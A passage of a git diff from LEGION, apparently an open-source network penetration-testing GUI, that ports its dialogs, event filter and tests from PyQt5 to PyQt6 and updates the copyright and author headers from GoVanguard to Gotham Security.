+6,10 @@ exit(1) try: - from PyQt5 import QtWidgets, QtGui, QtCore - print("PyQt5 library OK.") + from PyQt6 import QtWidgets, QtGui, QtCore + print("PyQt6 library OK.") except ImportError: - print("Import failed. PyQt5 library not found.") + print("Import failed. PyQt6 library not found.") exit(1) try: diff --git a/tests/ui/observers/test_QtUpdateProgressObserver.py b/tests/ui/observers/test_QtUpdateProgressObserver.py index 57152726..17a9d6f8 100644 --- a/tests/ui/observers/test_QtUpdateProgressObserver.py +++ b/tests/ui/observers/test_QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import patch diff --git a/tests/ui/test_eventfilter.py b/tests/ui/test_eventfilter.py index 00a6a022..b84cb3b5 100644 --- a/tests/ui/test_eventfilter.py +++ b/tests/ui/test_eventfilter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,14 +13,14 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock from unittest.mock import MagicMock, Mock, patch -from PyQt5.QtCore import QEvent, Qt, QObject -from PyQt5.QtWidgets import QApplication +from PyQt6.QtCore import QEvent, Qt, QObject +from PyQt6.QtWidgets import QApplication from ui.eventfilter import MyEventFilter @@ -34,21 +34,21 @@ def setUp(self) -> None: def test_eventFilter_whenKeyPressedIsClose_InvokesAppExit(self): event_filter = MyEventFilter(self.mock_view, self.mock_main_window) - self.mock_event.type = Mock(return_value=QEvent.Close) + self.mock_event.type = Mock(return_value=QEvent.Type.Close) result = event_filter.eventFilter(self.mock_main_window, self.mock_event) self.assertTrue(result) self.mock_event.ignore.assert_called_once() self.mock_view.appExit.assert_called_once() - @patch('PyQt5.QtWidgets.QTableView') - @patch('PyQt5.QtWidgets.QAbstractItemView') - @patch('PyQt5.QtCore.QModelIndex') + @patch('PyQt6.QtWidgets.QTableView') + @patch('PyQt6.QtWidgets.QAbstractItemView') + @patch('PyQt6.QtCore.QModelIndex') def test_eventFilter_whenKeyDownPressed_SelectsNextRowAndEmitsClickEvent( self, hosts_table_view, selection_model, selected_row): self.mock_view.ui.HostsTableView = hosts_table_view event_filter = MyEventFilter(self.mock_view, self.mock_main_window) - self.simulateKeyPress(Qt.Key_Down) + self.simulateKeyPress(Qt.Key.Key_Down) self.mock_receiver = hosts_table_view selected_row.row = Mock(return_value=0) selection_model.selectedRows = Mock(return_value=[selected_row]) @@ -59,14 +59,14 @@ def test_eventFilter_whenKeyDownPressed_SelectsNextRowAndEmitsClickEvent( self.mock_receiver.selectRow.assert_called_once_with(1) self.mock_receiver.clicked.emit.assert_called_with(selected_row) - @patch('PyQt5.QtWidgets.QTableView') - @patch('PyQt5.QtWidgets.QAbstractItemView') - @patch('PyQt5.QtCore.QModelIndex') + @patch('PyQt6.QtWidgets.QTableView') + @patch('PyQt6.QtWidgets.QAbstractItemView') + @patch('PyQt6.QtCore.QModelIndex') def test_eventFilter_whenKeyUpPressed_SelectsPreviousRowAndEmitsClickEvent( self, hosts_table_view, selection_model, selected_row): self.mock_view.ui.HostsTableView = hosts_table_view event_filter = MyEventFilter(self.mock_view, self.mock_main_window) - self.simulateKeyPress(Qt.Key_Up) + self.simulateKeyPress(Qt.Key.Key_Up) self.mock_receiver = hosts_table_view selected_row.row = Mock(return_value=1) selection_model.selectedRows = Mock(return_value=[selected_row]) @@ -77,20 +77,20 @@ def test_eventFilter_whenKeyUpPressed_SelectsPreviousRowAndEmitsClickEvent( self.mock_receiver.selectRow.assert_called_once_with(0) self.mock_receiver.clicked.emit.assert_called_with(selected_row) - @patch('PyQt5.QtWidgets.QTableView') - @patch('PyQt5.QtWidgets.QAbstractItemView') - @patch('PyQt5.QtCore.QModelIndex') - @patch('PyQt5.QtGui.QClipboard') + @patch('PyQt6.QtWidgets.QTableView') + @patch('PyQt6.QtWidgets.QAbstractItemView') + @patch('PyQt6.QtCore.QModelIndex') + @patch('PyQt6.QtGui.QClipboard') def test_eventFilter_whenKeyCPressed_SelectsPreviousRowAndEmitsClickEvent( self, hosts_table_view, selection_model, selected_row, mock_clipboard): expected_data = MagicMock() expected_data.toString = Mock(return_value="some clipboard data") - control_modifier = mock.patch.object(QApplication, 'keyboardModifiers', return_value=Qt.ControlModifier) + control_modifier = mock.patch.object(QApplication, 'keyboardModifiers', return_value=Qt.KeyboardModifier.ControlModifier) clipboard = mock.patch.object(QApplication, 'clipboard', return_value=mock_clipboard) self.mock_view.ui.HostsTableView = hosts_table_view event_filter = MyEventFilter(self.mock_view, self.mock_main_window) - self.simulateKeyPress(Qt.Key_C) + self.simulateKeyPress(Qt.Key.Key_C) self.mock_receiver = hosts_table_view selected_row.data = Mock(return_value=expected_data) selection_model.currentIndex = Mock(return_value=selected_row) @@ -103,9 +103,9 @@ def test_eventFilter_whenKeyCPressed_SelectsPreviousRowAndEmitsClickEvent( def test_eventFilter_onDefaultAction_CallsParentEventFilter(self): event_filter = MyEventFilter(self.mock_view, self.mock_main_window) - result = event_filter.eventFilter(QObject(), QEvent(QEvent.Scroll)) + result = event_filter.eventFilter(QObject(), QEvent(QEvent.Type.Scroll)) self.assertFalse(result) def simulateKeyPress(self, key_event): - self.mock_event.type = Mock(return_value=QEvent.KeyPress) + self.mock_event.type = Mock(return_value=QEvent.Type.KeyPress) self.mock_event.key = Mock(return_value=key_event) diff --git a/ui/ViewHeaders.py b/ui/ViewHeaders.py index 30db9152..fb82e405 100644 --- a/ui/ViewHeaders.py +++ b/ui/ViewHeaders.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ hostTableHeaders = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", diff --git a/ui/ViewState.py b/ui/ViewState.py index 2078d38f..f93e100c 100644 --- a/ui/ViewState.py +++ b/ui/ViewState.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index cd88a166..31b9c39f 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -18,9 +18,9 @@ """ import os -from PyQt5.QtGui import * # for filters dialog -from PyQt5.QtWidgets import * -from PyQt5 import QtWidgets, QtGui +from PyQt6.QtGui import * # for filters dialog +from PyQt6.QtWidgets import * +from PyQt6 import QtWidgets, QtGui from app.auxiliary import * # for timestamps from six import u as unicode from ui.ancillaryDialog import flipState @@ -39,8 +39,8 @@ def __init__(self, parent=None): def setupLayout(self): self.setModal(True) self.setWindowTitle('Add host(s) to scan seperated by semicolons') - flags = Qt.Window | Qt.WindowSystemMenuHint | Qt.WindowMinimizeButtonHint | Qt.WindowMaximizeButtonHint | \ - Qt.WindowCloseButtonHint + flags = Qt.WindowType.Window | Qt.WindowType.WindowSystemMenuHint | Qt.WindowType.WindowMinimizeButtonHint | Qt.WindowType.WindowMaximizeButtonHint | \ + Qt.WindowType.WindowCloseButtonHint self.setWindowFlags(flags) self.resize(700, 700) @@ -59,7 +59,7 @@ def setupLayout(self): self.lblHostExample.setText('Ex: 192.168.1.0/24; 10.10.10.10-20; 1.2.3.4; bing.com') self.font = QtGui.QFont('Calibri', 10) self.lblHostExample.setFont(self.font) - self.lblHostExample.setAlignment(Qt.AlignRight) + self.lblHostExample.setAlignment(Qt.AlignmentFlag.AlignRight) self.spacer = QSpacerItem(15,15) self.validationLabel = QtWidgets.QLabel(self) @@ -136,7 +136,7 @@ def setupLayout(self): '--min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 ' + '--host-timeout 15m --script-timeout 10m with a 5ms delay between ' + 'operations [-T5]') - self.sldScanTimingSlider = QtWidgets.QSlider(Qt.Horizontal) + self.sldScanTimingSlider = QtWidgets.QSlider(Qt.Orientation.Horizontal) self.sldScanTimingSlider.setRange(0, 5) self.sldScanTimingSlider.setSingleStep(1) self.sldScanTimingSlider.setValue(4) @@ -259,15 +259,15 @@ def setupLayout(self): self.cmdAddButton = QPushButton('Submit', self) self.cmdAddButton.setMaximumSize(160, 70) self.addIcon = QtGui.QIcon() - self.addIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/add.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.addIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/add.png")), QtGui.QIcon.Mode.Normal, QtGui.QIcon.State.Off) self.cmdAddButton.setIconSize(QtCore.QSize(19, 19)) self.cmdAddButton.setIcon(self.addIcon) self.cmdCancelButton = QPushButton('Cancel', self) self.cmdCancelButton.setMaximumSize(110, 30) self.cancelIcon = QtGui.QIcon() - self.cancelIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/minus-black.png")), QtGui.QIcon.Normal, - QtGui.QIcon.Off) + self.cancelIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/minus-black.png")), QtGui.QIcon.Mode.Normal, + QtGui.QIcon.State.Off) self.cmdCancelButton.setIconSize(QtCore.QSize(19, 19)) self.cmdCancelButton.setIcon(self.cancelIcon) diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index e0bb4015..1dbdd7e6 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -18,9 +18,9 @@ """ import os -from PyQt5.QtGui import * # for filters dialog -from PyQt5.QtWidgets import * -from PyQt5 import QtWidgets, QtGui +from PyQt6.QtGui import * # for filters dialog +from PyQt6.QtWidgets import * +from PyQt6 import QtWidgets, QtGui from app.auxiliary import * # for timestamps from six import u as unicode @@ -71,12 +71,12 @@ def __init__(self, parent=None): self.scaleFactor = 0.0 self.imageLabel = QtWidgets.QLabel() - self.imageLabel.setBackgroundRole(QtGui.QPalette.Base) - self.imageLabel.setSizePolicy(QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Ignored) + self.imageLabel.setBackgroundRole(QtGui.QPalette.ColorRole.Base) + self.imageLabel.setSizePolicy(QtWidgets.QSizePolicy.Policy.Ignored, QtWidgets.QSizePolicy.Policy.Ignored) self.imageLabel.setScaledContents(True) self.scrollArea = QtWidgets.QScrollArea() - self.scrollArea.setBackgroundRole(QtGui.QPalette.Dark) + self.scrollArea.setBackgroundRole(QtGui.QPalette.ColorRole.Dark) self.scrollArea.setWidget(self.imageLabel) def open(self, fileName): @@ -121,11 +121,11 @@ def __init__(self, filename, parent=None): QtWidgets.QWidget.__init__(self, parent) self.movie = QtGui.QMovie(filename) self.movie_screen = QtWidgets.QLabel() - self.movie_screen.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + self.movie_screen.setSizePolicy(QtWidgets.QSizePolicy.Policy.Expanding, QtWidgets.QSizePolicy.Policy.Expanding) main_layout = QtWidgets.QVBoxLayout() main_layout.addWidget(self.movie_screen) self.setLayout(main_layout) - self.movie.setCacheMode(QtGui.QMovie.CacheAll) + self.movie.setCacheMode(QtGui.QMovie.CacheMode.CacheAll) self.movie.setSpeed(100) self.movie_screen.setMovie(self.movie) self.movie.start() diff --git a/ui/configDialog.py b/ui/configDialog.py index 5f4cc1b0..0092e695 100644 --- a/ui/configDialog.py +++ b/ui/configDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -18,9 +18,9 @@ """ import os -from PyQt5.QtGui import * # for filters dialog -from PyQt5.QtWidgets import * -from PyQt5 import QtWidgets, QtGui +from PyQt6.QtGui import * # for filters dialog +from PyQt6.QtWidgets import * +from PyQt6 import QtWidgets, QtGui from app.auxiliary import * # for timestamps from six import u as unicode from ui.ancillaryDialog import flipState @@ -51,7 +51,7 @@ def __init__(self, controller, qss, parent = None): def center(self): frameGm = self.frameGeometry() - centerPoint = QtWidgets.QDesktopWidget().availableGeometry().center() + centerPoint = QtGui.QGuiApplication.primaryScreen().availableGeometry().center() frameGm.moveCenter(centerPoint) self.move(frameGm.topLeft()) @@ -79,8 +79,8 @@ def Qui_update(self): self.tabwid.addTab(self.TabConfig,'Config') self.form.addRow(self.tabwid) self.form2.addWidget(QtWidgets.QLabel('
    ')) - self.form2.addWidget(self.cmdSave, alignment = Qt.AlignCenter) - self.form2.addWidget(self.cmdClose, alignment = Qt.AlignCenter) + self.form2.addWidget(self.cmdSave, alignment = Qt.AlignmentFlag.AlignCenter) + self.form2.addWidget(self.cmdClose, alignment = Qt.AlignmentFlag.AlignCenter) self.form.addRow(self.form2) self.Main.addLayout(self.form) self.setLayout(self.Main) diff --git a/ui/dialogs.py b/ui/dialogs.py index 69958609..326eb488 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -15,9 +15,9 @@ If not, see . """ import os -from PyQt5.QtGui import * # for filters dialog -from PyQt5.QtWidgets import * -from PyQt5 import QtWidgets, QtGui +from PyQt6.QtGui import * # for filters dialog +from PyQt6.QtWidgets import * +from PyQt6 import QtWidgets, QtGui from app.auxiliary import * # for timestamps from app.timing import getTimestamp from six import u as unicode @@ -61,24 +61,24 @@ def setupLayoutHlayout(self): self.label1 = QtWidgets.QLabel() self.label1.setText('IP') - self.label1.setAlignment(Qt.AlignLeft) - self.label1.setAlignment(Qt.AlignVCenter) + self.label1.setAlignment(Qt.AlignmentFlag.AlignLeft) + self.label1.setAlignment(Qt.AlignmentFlag.AlignVCenter) self.ipTextinput = QtWidgets.QLineEdit() self.ipTextinput.setText(str(self.ip)) self.ipTextinput.setFixedWidth(125) self.label2 = QtWidgets.QLabel() self.label2.setText('Port') - self.label2.setAlignment(Qt.AlignLeft) - self.label2.setAlignment(Qt.AlignVCenter) + self.label2.setAlignment(Qt.AlignmentFlag.AlignLeft) + self.label2.setAlignment(Qt.AlignmentFlag.AlignVCenter) self.portTextinput = QtWidgets.QLineEdit() self.portTextinput.setText(str(self.port)) self.portTextinput.setFixedWidth(60) self.label3 = QtWidgets.QLabel() self.label3.setText('Service') - self.label3.setAlignment(Qt.AlignLeft) - self.label3.setAlignment(Qt.AlignVCenter) + self.label3.setAlignment(Qt.AlignmentFlag.AlignLeft) + self.label3.setAlignment(Qt.AlignmentFlag.AlignVCenter) self.serviceComboBox = QtWidgets.QComboBox() self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }") @@ -153,7 +153,7 @@ def setupLayoutHlayout2(self): "Additional Options" checkbox and add the proper arguments for the webpage form. See Hydra \ documentation for extra help when targeting HTTP/HTTPS forms.') self.warningLabel.setWordWrap(True) - self.warningLabel.setAlignment(Qt.AlignRight) + self.warningLabel.setAlignment(Qt.AlignmentFlag.AlignRight) self.warningLabel.setStyleSheet('QLabel { color: red }') self.hlayout2 = QtWidgets.QHBoxLayout() @@ -304,8 +304,8 @@ def setupLayout(self): def __drawPalette(self): p = self.display.palette() - p.setColor(QtGui.QPalette.Base, Qt.black) # black background - p.setColor(QtGui.QPalette.Text, Qt.white) # white font + p.setColor(QtGui.QPalette.ColorRole.Base, Qt.GlobalColor.black) # black background + p.setColor(QtGui.QPalette.ColorRole.Text, Qt.GlobalColor.white) # white font self.display.setPalette(p) self.display.setStyleSheet("QMenu { color:black;}") diff --git a/ui/eventfilter.py b/ui/eventfilter.py index be73942a..d078719d 100644 --- a/ui/eventfilter.py +++ b/ui/eventfilter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,8 +13,8 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . """ -from PyQt5.QtCore import QObject, QEvent, Qt -from PyQt5.QtWidgets import QApplication +from PyQt6.QtCore import QObject, QEvent, Qt +from PyQt6.QtWidgets import QApplication # This class is used to catch events such as arrow key presses or close window (X) @@ -37,9 +37,9 @@ def __init__(self, view, main_window): def eventFilter(self, receiver, event): # catch up/down arrow key presses in hosts table - if event.type() == QEvent.KeyPress and receiver in self.hosts_table_views: + if event.type() == QEvent.Type.KeyPress and receiver in self.hosts_table_views: return self.filterKeyPressInHostsTableView(event.key(), receiver) - elif event.type() == QEvent.Close and receiver == self.main_window: + elif event.type() == QEvent.Type.Close and receiver == self.main_window: event.ignore() self.view.appExit() return True @@ -53,15 +53,15 @@ def filterKeyPressInHostsTableView(self, key, receiver): index = receiver.selectionModel().selectedRows()[0].row() - if key == Qt.Key_Down: + if key == Qt.Key.Key_Down: new_index = index + 1 receiver.selectRow(new_index) receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) - elif key == Qt.Key_Up: + elif key == Qt.Key.Key_Up: new_index = index - 1 receiver.selectRow(new_index) receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) - elif QApplication.keyboardModifiers() == Qt.ControlModifier and key == Qt.Key_C: + elif QApplication.keyboardModifiers() == Qt.KeyboardModifier.ControlModifier and key == Qt.Key.Key_C: selected = receiver.selectionModel().currentIndex() clipboard = QApplication.clipboard() clipboard.setText(selected.data().toString()) diff --git a/ui/gui.py b/ui/gui.py index 1cc90225..df1f782d 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -15,8 +15,8 @@ If not, see . """ -from PyQt5 import QtWidgets, QtGui, QtCore -from PyQt5.QtGui import QColor +from PyQt6 import QtWidgets, QtGui, QtCore +from PyQt6.QtGui import QColor from ui.dialogs import * # for the screenshots (image viewer) from ui.ancillaryDialog import * @@ -30,15 +30,13 @@ class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) - - MainWindow.resize(1200, 900) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) # do not change this name self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) self.gridLayout.setObjectName(_fromUtf8("gridLayout")) self.splitter_2 = QtWidgets.QSplitter(self.centralwidget) - self.splitter_2.setOrientation(QtCore.Qt.Vertical) + self.splitter_2.setOrientation(QtCore.Qt.Orientation.Vertical) self.splitter_2.setObjectName(_fromUtf8("splitter_2")) self.MainTabWidget = QtWidgets.QTabWidget(self.splitter_2) @@ -48,16 +46,16 @@ def setupUi(self, MainWindow): self.gridLayout_2 = QtWidgets.QGridLayout(self.ScanTab) self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2")) self.splitter = QtWidgets.QSplitter(self.ScanTab) - self.splitter.setOrientation(QtCore.Qt.Horizontal) + self.splitter.setOrientation(QtCore.Qt.Orientation.Horizontal) self.splitter.setObjectName(_fromUtf8("splitter")) # size policies - self.sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + self.sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Policy.Expanding, QtWidgets.QSizePolicy.Policy.Expanding) # this specifies that the widget will keep its width when the window is resized self.sizePolicy.setHorizontalStretch(0) self.sizePolicy.setVerticalStretch(0) - self.sizePolicy2 = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + self.sizePolicy2 = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Policy.Expanding, QtWidgets.QSizePolicy.Policy.Expanding) # this specifies that the widget will expand its width when the window is resized self.sizePolicy2.setHorizontalStretch(1) self.sizePolicy2.setVerticalStretch(0) @@ -76,6 +74,7 @@ def setupUi(self, MainWindow): self.retranslateUi(MainWindow) self.setDefaultIndexes() QtCore.QMetaObject.connectSlotsByName(MainWindow) + MainWindow.setWindowState(QtCore.Qt.WindowState.WindowMaximized) def setupLeftPanel(self): self.HostsTabWidget = QtWidgets.QTabWidget(self.splitter) @@ -90,7 +89,7 @@ def setupLeftPanel(self): self.FilterApplyButton = QtWidgets.QToolButton() self.searchIcon = QtGui.QIcon() - self.searchIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/search.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.searchIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/search.png")), QtGui.QIcon.Mode.Normal, QtGui.QIcon.State.Off) self.FilterApplyButton.setIconSize(QtCore.QSize(19, 19)) self.FilterApplyButton.setIcon(self.searchIcon) self.FilterApplyButton.setToolTip('Apply filters to view') @@ -98,14 +97,14 @@ def setupLeftPanel(self): self.FilterAdvancedButton = QtWidgets.QToolButton() self.advancedIcon = QtGui.QIcon() self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), - QtGui.QIcon.Normal, QtGui.QIcon.Off) + QtGui.QIcon.Mode.Normal, QtGui.QIcon.State.Off) self.FilterAdvancedButton.setIconSize(QtCore.QSize(19, 19)) self.FilterAdvancedButton.setIcon(self.advancedIcon) self.FilterAdvancedButton.setToolTip('Choose advanced filters') self.AddHostButton = QtWidgets.QToolButton() self.addIcon = QtGui.QIcon() - self.addIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/add.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.addIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/add.png")), QtGui.QIcon.Mode.Normal, QtGui.QIcon.State.Off) self.AddHostButton.setIconSize(QtCore.QSize(19, 19)) self.AddHostButton.setIcon(self.addIcon) self.AddHostButton.setToolTip('Add host') @@ -121,11 +120,11 @@ def setupLeftPanel(self): self.addHostsOverlay.setObjectName(_fromUtf8("addHostsOverlay")) self.addHostsOverlay.setText('Click here to add host(s) to scope') self.addHostsOverlay.setReadOnly(True) - self.addHostsOverlay.setContextMenuPolicy(QtCore.Qt.NoContextMenu) + self.addHostsOverlay.setContextMenuPolicy(QtCore.Qt.ContextMenuPolicy.NoContextMenu) ### self.addHostsOverlay.setFont(QtGui.QFont('Calibri', 12)) - self.addHostsOverlay.setAlignment(Qt.AlignHCenter|Qt.AlignVCenter) + self.addHostsOverlay.setAlignment(Qt.AlignmentFlag.AlignHCenter|Qt.AlignmentFlag.AlignVCenter) ### self.vlayout.addWidget(self.addHostsOverlay) @@ -176,7 +175,7 @@ def setupRightPanel(self): ### self.splitter_3 = QtWidgets.QSplitter() - self.splitter_3.setOrientation(QtCore.Qt.Horizontal) + self.splitter_3.setOrientation(QtCore.Qt.Orientation.Horizontal) self.splitter_3.setObjectName(_fromUtf8("splitter_3")) # this makes the tools tab stay the same width when resizing the window self.splitter_3.setSizePolicy(self.sizePolicy2) @@ -206,7 +205,7 @@ def setupRightPanel(self): self.ScreenshotWidget = ImageViewer() self.ScreenshotWidget.setObjectName('Screenshot') self.ScreenshotWidget.scrollArea.setSizePolicy(self.sizePolicy2) - self.ScreenshotWidget.scrollArea.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) + self.ScreenshotWidget.scrollArea.setContextMenuPolicy(QtCore.Qt.ContextMenuPolicy.CustomContextMenu) self.splitter_3.addWidget(self.ScreenshotWidget.scrollArea) self.splitter.addWidget(self.splitter_3) @@ -237,7 +236,7 @@ def setupRightPanel(self): self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6")) self.splitter_4 = QtWidgets.QSplitter(self.ScriptsTab) - self.splitter_4.setOrientation(QtCore.Qt.Horizontal) + self.splitter_4.setOrientation(QtCore.Qt.Orientation.Horizontal) self.splitter_4.setObjectName(_fromUtf8("splitter_4")) self.ScriptsTableView = QtWidgets.QTableView() @@ -332,19 +331,19 @@ def setupMenuBar(self, MainWindow): self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName(_fromUtf8("statusbar")) MainWindow.setStatusBar(self.statusbar) - self.actionExit = QtWidgets.QAction(MainWindow) + self.actionExit = QtGui.QAction(MainWindow) self.actionExit.setObjectName(_fromUtf8("actionExit")) - self.actionOpen = QtWidgets.QAction(MainWindow) + self.actionOpen = QtGui.QAction(MainWindow) self.actionOpen.setObjectName(_fromUtf8("actionOpen")) - self.actionSave = QtWidgets.QAction(MainWindow) + self.actionSave = QtGui.QAction(MainWindow) self.actionSave.setObjectName(_fromUtf8("actionSave")) - self.actionImportNmap = QtWidgets.QAction(MainWindow) + self.actionImportNmap = QtGui.QAction(MainWindow) self.actionImportNmap.setObjectName(_fromUtf8("actionImportNmap")) - self.actionSaveAs = QtWidgets.QAction(MainWindow) + self.actionSaveAs = QtGui.QAction(MainWindow) self.actionSaveAs.setObjectName(_fromUtf8("actionSaveAs")) - self.actionNew = QtWidgets.QAction(MainWindow) + self.actionNew = QtGui.QAction(MainWindow) self.actionNew.setObjectName(_fromUtf8("actionNew")) - self.actionAddHosts = QtWidgets.QAction(MainWindow) + self.actionAddHosts = QtGui.QAction(MainWindow) self.actionAddHosts.setObjectName(_fromUtf8("actionAddHosts")) self.menuFile.addAction(self.actionNew) self.menuFile.addAction(self.actionOpen) @@ -357,16 +356,16 @@ def setupMenuBar(self, MainWindow): self.menuFile.addAction(self.actionExit) self.menubar.addAction(self.menuFile.menuAction()) #self.menubar.addAction(self.menuSettings.menuAction()) - #self.actionSettings = QtWidgets.QAction(MainWindow) + #self.actionSettings = QtGui.QAction(MainWindow) #self.actionSettings.setObjectName(_fromUtf8("getSettingsMenu")) #self.menuSettings.addAction(self.actionSettings) - self.actionHelp = QtWidgets.QAction(MainWindow) + self.actionHelp = QtGui.QAction(MainWindow) self.actionHelp.setObjectName(_fromUtf8("getHelp")) self.menuHelp.addAction(self.actionHelp) self.menubar.addAction(self.menuHelp.menuAction()) - self.actionConfig = QtWidgets.QAction(MainWindow) + self.actionConfig = QtGui.QAction(MainWindow) self.actionConfig.setObjectName(_fromUtf8("config")) self.menuHelp.addAction(self.actionConfig) self.menubar.addAction(self.menuHelp.menuAction()) @@ -435,12 +434,3 @@ def retranslateUi(self, MainWindow): self.actionHelp.setShortcut(QtWidgets.QApplication.translate("MainWindow", "F1", None)) self.actionConfig.setText(QtWidgets.QApplication.translate("MainWindow", "Config", None)) self.actionConfig.setShortcut(QtWidgets.QApplication.translate("MainWindow", "F2", None)) - -if __name__ == "__main__": - import sys - app = QtWidgets.QApplication(sys.argv) - MainWindow = QtWidgets.QMainWindow() - ui = Ui_MainWindow() - ui.setupUi(MainWindow) - MainWindow.show() - sys.exit(app.exec_()) \ No newline at end of file diff --git a/ui/helpDialog.py b/ui/helpDialog.py index 38ac0e63..ba37dabf 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION 